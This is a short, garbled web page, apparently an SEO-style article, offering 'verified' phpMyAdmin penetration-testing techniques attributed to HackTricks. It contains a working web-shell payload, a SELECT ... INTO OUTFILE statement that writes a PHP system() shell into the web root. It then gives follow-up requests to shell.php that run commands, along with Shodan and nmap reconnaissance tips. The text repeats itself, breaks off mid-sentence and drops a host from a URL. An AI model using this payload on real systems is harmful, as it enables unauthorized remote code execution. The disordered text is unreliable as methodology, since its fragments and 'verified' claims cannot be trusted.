A curated list of verified techniques for assessing phpMyAdmin installations during authorized penetration tests. Derived from HackTricks methodology and community verification.
Penetration testers typically look for several high-impact vulnerabilities when encountering a phpMyAdmin instance:
To locate exposed instances, you can use search engines like Shodan with queries such as http.title:"index of" hostname:target.com . On a local network, you can use nmap to scan for web servers and then filter for open ports to find Apache instances that may be hosting the tool. In restricted environments, you can forward ports through an SSH tunnel to access internal web servers.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" phpmyadmin hacktricks verified
SHOW VARIABLES LIKE 'secure_file_priv';
: A WAF can help protect against many types of attacks.
Verify your access by navigating to http:// /shell.php?cmd=id . 4. Verified Remote Code Execution (RCE) Vulnerabilities A curated list of verified techniques for assessing
From phpMyAdmin SQL tab:
This article is designed for conducting authorized audits. It synthesizes common techniques with the rigor expected by the HackTricks methodology, ensuring each claim is verified against real-world configurations.
Before exploiting, you must identify the version and configuration. Often listed on the login page. On a local network, you can use nmap
Then call: POST /shell.php with cmd=system('id');
The first hurdle is often the login screen. Attackers look for: